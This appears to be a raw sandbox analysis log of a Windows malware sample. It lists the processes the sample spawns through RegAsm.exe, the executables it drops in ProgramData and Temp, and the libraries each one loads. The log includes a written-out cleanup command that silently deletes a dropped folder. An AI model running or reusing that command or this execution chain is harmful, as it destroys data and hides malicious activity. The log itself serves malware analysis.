Source: unknown Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5824 -s 948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\AFIDGDBGCA.exe "C:\ProgramData\AFIDGDBGCA.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\ProgramData\BFIIEHJDBK.exe "C:\ProgramData\BFIIEHJDBK.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIIEBGCBGIDH" & exit Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\BFIIEHJDBK.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: version.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: wldp.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: sxs.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: mpr.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: propsys.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: profapi.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: edputil.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: netutils.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: slc.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: userenv.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: sppc.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: linkinfo.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntshrui.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cscapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Section loaded: cryptbase.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: mscoree.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: apphelp.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: version.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\BFIIEHJDBK.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptsp.dll
